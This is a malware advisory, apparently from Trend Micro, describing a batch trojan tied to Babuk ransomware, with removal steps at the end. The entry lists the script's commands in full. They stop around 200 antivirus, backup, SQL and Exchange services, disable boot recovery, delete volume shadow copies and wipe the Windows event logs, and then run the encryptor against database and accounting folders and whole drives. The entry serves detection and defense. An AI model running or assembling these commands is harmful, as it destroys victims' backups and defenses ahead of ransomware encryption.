Trojan.BAT.BABUK.YACGY
ALIASES:
Trojan:BAT/MegaCortex.SC(MICROSOFT)
PLATFORM:
Windows
OVERALL RISK RATING:
DAMAGE POTENTIAL:
DISTRIBUTION POTENTIAL:
REPORTED INFECTION:
INFORMATION EXPOSURE:
Threat Type: Trojan
Destructiveness: No
Encrypted:
In the wild: Yes
OVERVIEW
Infection Channel:
Downloaded from the Internet, Dropped by other malware
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
TECHNICAL DETAILS
File Size:
8,729 bytes
File Type:
BAT
Memory Resident:
No
Payload:
Adds processes
Arrival Details
This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.
Installation
This Trojan adds the following processes:
- {Malware Fullpath}\HelpPane.exe → Detected as Trojan.Win32.KILLAV.WLEBB
- taskkill /f /im sqlservr.exe
- net stop VSS /y
- net stop HealthTLService /y
- net stop ThreatLockerService /y
- net stop "Veritas System Recovery" /y
- net stop EPIntegrationService /y
- net stop EPProtectedService /y
- net stop EPRedline /y
- net stop EPSecurityService /y
- net stop "Client Agent 7.60" /y
- net stop WRSVC /y
- net stop SQLAgent$SYSTEM_BGC /y
- net stop "Sophos Device Control Service" /y
- net stop macmnsvc /y
- net stop SQLAgent$ECWDB2 /y
- net stop "Zoolz 2 Service" /y
- net stop McTaskManager /y
- net stop "Sophos AutoUpdate Service" /y
- net stop "Sophos System Protection Service" /y
- net stop EraserSvc11710 /y
- net stop PDVFSService /y
- net stop SQLAgent$PROFXENGAGEMENT /y
- net stop SAVService /y
- net stop MSSQLFDLauncher$TPSAMA /y
- net stop SQLAgent$SOPHOS /y
- net stop "Symantec System Recovery" /y
- net stop Antivirus /y
- net stop SstpSvc /y
- net stop MSOLAP$SQL_2008 /y
- net stop TrueKeyServiceHelper /y
- net stop sacsvr /y
- net stop VeeamNFSSvc /y
- net stop FA_Scheduler /y
- net stop SAVAdminService /y
- net stop EPUpdateService /y
- net stop VeeamTransportSvc /y
- net stop "Sophos Health Service" /y
- net stop bedbg /y
- net stop MSSQLSERVER /y
- net stop KAVFS /y
- net stop Smcinst /y
- net stop MSSQLServerADHelper100 /y
- net stop TmCCSF /y
- net stop wbengine /y
- net stop SQLWriter /y
- net stop MSSQLFDLauncher$TPS /y
- net stop SmcService /y
- net stop ReportServer$TPSAMA /y
- net stop swi_update /y
- net stop AcrSch2Svc /y
- net stop MSSQL$SYSTEM_BGC /y
- net stop VeeamBrokerSvc /y
- net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
- net stop VeeamDeploymentService /y
- net stop SQLAgent$TPS /y
- net stop DCAgent /y
- net stop "Sophos Message Router" /y
- net stop MSSQLFDLauncher$SBSMONITORING /y
- net stop MySQL80 /y
- net stop MSOLAP$SYSTEM_BGC /y
- net stop ReportServer$TPS /y
- net stop MSSQL$ECWDB2 /y
- net stop SntpService /y
- net stop SQLSERVERAGENT /y
- net stop BackupExecManagementService /y
- net stop SMTPSvc /y
- net stop mfefire /y
- net stop BackupExecRPCService /y
- net stop MSSQL$VEEAMSQL2008R2 /y
- net stop klnagent /y
- net stop MSExchangeSA /y
- net stop MSSQLServerADHelper /y
- net stop SQLTELEMETRY /y
- net stop "Sophos Clean Service" /y
- net stop swi_update_64 /y
- net stop "Sophos Web Control Service" /y
- net stop EhttpSrv /y
- net stop POP3Svc /y
- net stop MSOLAP$TPSAMA /y
- net stop McAfeeEngineService /y
- net stop "Veeam Backup Catalog Data Service" /y
- net stop MSSQL$SBSMONITORING /y
- net stop ReportServer$SYSTEM_BGC /y
- net stop AcronisAgent /y
- net stop KAVFSGT /y
- net stop BackupExecDeviceMediaService /y
- net stop MySQL57 /y
- net stop McAfeeFrameworkMcAfeeFramework /y
- net stop TrueKey /y
- net stop VeeamMountSvc /y
- net stop MsDtsServer110 /y
- net stop SQLAgent$BKUPEXEC /y
- net stop UI0Detect /y
- net stop ReportServer /y
- net stop SQLTELEMETRY$ECWDB2 /y
- net stop MSSQLFDLauncher$SYSTEM_BGC /y
- net stop MSSQL$BKUPEXEC /y
- net stop SQLAgent$PRACTTICEBGC /y
- net stop MSExchangeSRS /y
- net stop SQLAgent$VEEAMSQL2008R2 /y
- net stop McShield /y
- net stop SepMasterService /y
- net stop "Sophos MCS Client" /y
- net stop VeeamCatalogSvc /y
- net stop SQLAgent$SHAREPOINT /y
- net stop NetMsmqActivator /y
- net stop kavfsslp /y
- net stop tmlisten /y
- net stop ShMonitor /y
- net stop MsDtsServer /y
- net stop SQLAgent$SQL_2008 /y
- net stop SDRSVC /y
- net stop IISAdmin /y
- net stop SQLAgent$PRACTTICEMGT /y
- net stop BackupExecJobEngine /y
- net stop BackupExecAgentBrowser /y
- net stop VeeamHvIntegrationSvc /y
- net stop masvc /y
- net stop W3Svc /y
- net stop "SQLsafe Backup Service" /y
- net stop SQLAgent$CXDB /y
- net stop SQLBrowser /y
- net stop MSSQLFDLauncher$SQL_2008 /y
- net stop VeeamBackupSvc /y
- net stop "Sophos Safestore Service" /y
- net stop svcGenericHost /y
- net stop ntrtscan /y
- net stop SQLAgent$VEEAMSQL2012 /y
- net stop MSExchangeMGMT /y
- net stop SamSs /y
- net stop MSExchangeES /y
- net stop MBAMService /y
- net stop EsgShKernel /y
- net stop ESHASRV /y
- net stop MSSQL$TPSAMA /y
- net stop SQLAgent$CITRIX_METAFRAME /y
- net stop VeeamCloudSvc /y
- net stop "Sophos File Scanner Service" /y
- net stop "Sophos Agent" /y
- net stop MBEndpointAgent /y
- net stop swi_service /y
- net stop MSSQL$PRACTICEMGT /y
- net stop SQLAgent$TPSAMA /y
- net stop McAfeeFramework /y
- net stop "Enterprise Client Service" /y
- net stop SQLAgent$SBSMONITORING /y
- net stop MSSQL$VEEAMSQL2012 /y
- net stop swi_filter /y
- net stop SQLSafeOLRService /y
- net stop BackupExecVSSProvider /y
- net stop VeeamEnterpriseManagerSvc /y
- net stop SQLAgent$SQLEXPRESS /y
- net stop OracleClientCache80 /y
- net stop MSSQL$PROFXENGAGEMENT /y
- net stop IMAP4Svc /y
- net stop ARSM /y
- net stop MSExchangeIS /y
- net stop AVP /y
- net stop MSSQLFDLauncher /y
- net stop MSExchangeMTA /y
- net stop TrueKeyScheduler /y
- net stop MSSQL$SOPHOS /y
- net stop "SQL Backups" /y
- net stop MSSQL$TPS /y
- net stop mfemms /y
- net stop MsDtsServer100 /y
- net stop MSSQL$SHAREPOINT /y
- net stop mfevtp /y
- net stop msftesql$PROD /y
- net stop mozyprobackup /y
- net stop MSSQL$SQL_2008 /y
- net stop SNAC /y
- net stop ReportServer$SQL_2008 /y
- net stop BackupExecAgentAccelerator /y
- net stop MSSQL$SQLEXPRESS /y
- net stop MSSQL$PRACTTICEBGC /y
- net stop VeeamRESTSvc /y
- net stop sophossps /y
- net stop ekrn /y
- net stop MMS /y
- net stop "Sophos MCS Agent" /y
- net stop RESvc /y
- net stop "Acronis VSS Provider" /y
- net stop MSSQLFDLauncher$SHAREPOINT /y
- net stop "SQLsafe Filter Service" /y
- net stop MSSQL$PROD /y
- net stop SQLAgent$PROD /y
- net stop MSOLAP$TPS /y
- net stop VeeamDeploySvc /y
- net stop MSSQLServerOLAPService /y
- net stop "SQL Server (MSSQLSERVER)" /y
- net stop "SQL Server (SQLEXPRESS)" /y
- net stop "SQL Server Analysis Services (MSSQLSERVER)" /y
- net stop "SQL Server Integration Services 11.0" /y
- net stop "SQL Server Reporting Services (MSSQLSERVER)" /y
- net stop "SQL Server VSS Writer" /y
- bcdedit /set {default} recoveryenabled No
- bcdedit /set {default} bootstatuspolicy ignoreallfailures
- wmic SHADOWCOPY /nointeractive
- wevtutil cl security
- wevtutil cl system
- wevtutil cl application
- vssadmin delete shadows /all /quiet
- net stop mhyprot2 /y
- {Malware Fullpath}\svchost.exe → Detected as Ransom.Win32.BABUK.YACGY
- {Malware Fullpath}\svchost.exe -paths="C:\Program Files\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="C:\Program Files (x86)\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="D:\Program Files\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="D:\Program Files (x86)\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="E:\Program Files\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="E:\Program Files (x86)\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="F:\Program Files\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="F:\Program Files (x86)\Microsoft SQL Server"
- {Malware Fullpath}\svchost.exe -paths="C:\Program Files (x86)\Tally.ERP9"
- {Malware Fullpath}\svchost.exe -paths="D:\Program Files (x86)\Tally.ERP9"
- {Malware Fullpath}\svchost.exe -paths="E:\Program Files (x86)\Tally.ERP9"
- {Malware Fullpath}\svchost.exe -paths="F:\Program Files (x86)\Tally.ERP9"
- {Malware Fullpath}\svchost.exe -paths="C:\Program Files (x86)\Intuit"
- {Malware Fullpath}\svchost.exe -paths="C:\Program Files\Intuit"
- {Malware Fullpath}\svchost.exe -paths=C:
- {Malware Fullpath}\svchost.exe -paths=D:
- {Malware Fullpath}\svchost.exe -paths=E:
- {Malware Fullpath}\svchost.exe -paths=Q:
- {Malware Fullpath}\svchost.exe -paths=F:
- {Malware Fullpath}\svchost.exe -paths=G:
- {Malware Fullpath}\svchost.exe -paths=H:
- {Malware Fullpath}\svchost.exe -paths=I:
- {Malware Fullpath}\svchost.exe -paths=Y:
Other System Modifications
This Trojan deletes the following files:
- {Malware Fullpath}\mhyprot2.sys
SOLUTION
Minimum Scan Engine:
9.800
FIRST VSAPI PATTERN FILE:
17.714.07
FIRST VSAPI PATTERN DATE:
28 Jul 2022
VSAPI OPR PATTERN File:
17.715.00
VSAPI OPR PATTERN Date:
29 Jul 2022
Step 1
Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.
Step 2
Scan your computer with your Trend Micro product to delete files detected as Trojan.BAT.BABUK.YACGY. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:
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